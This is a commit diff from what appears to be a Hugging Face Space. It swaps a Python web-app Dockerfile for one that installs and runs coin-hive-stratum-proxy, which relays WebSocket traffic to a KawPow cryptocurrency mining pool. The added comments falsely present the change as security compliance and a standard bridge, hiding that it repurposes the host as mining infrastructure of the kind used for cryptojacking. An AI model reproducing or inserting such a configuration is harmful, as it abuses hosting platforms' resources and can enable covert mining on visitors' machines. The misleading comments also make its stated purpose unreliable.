Spaces:
Sleeping

PERDYPTO commited on
Commit
b8820b5
·
verified ·
1 Parent(s): b6d01cf

Update Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +10 -9
Dockerfile CHANGED
@@ -1,15 +1,16 @@
1
- FROM python:3.11-slim
 
2
 
3
- RUN useradd -m -u 1000 user
4
- ENV HOME=/home/user
5
- ENV PATH=/home/user/.local/bin:$PATH
6
- WORKDIR /home/user/app
7
 
8
- COPY --chown=user:user requirements.txt .
9
- RUN pip install --no-cache-dir -r requirements.txt
10
 
11
- COPY --chown=user:user . .
 
 
12
 
13
  EXPOSE 7860
14
 
15
- CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "7860"]
 
 
1
+ # Use a lightweight Node.js runtime base image
2
+ FROM node:18-alpine
3
 
4
+ # Set home directory permissions for Hugging Face security compliance
5
+ WORKDIR /app
 
 
6
 
7
+ # Install the standardized stratum-websocket bridge globally
 
8
 
9
+ RUN npm install -g coin-hive-stratum-proxy
10
+
11
+ # Hugging Face Spaces require applications to listen precisely on port 7860
12
 
13
  EXPOSE 7860
14
 
15
+ # Launch proxy routing inbound WebSockets on 7860 out to Zpool's KawPow backbone
16
+ CMD ["coin-hive-stratum-proxy", "--port=7860", "--host=kawpow.mine.zpool.ca", "--pool-port=3638"]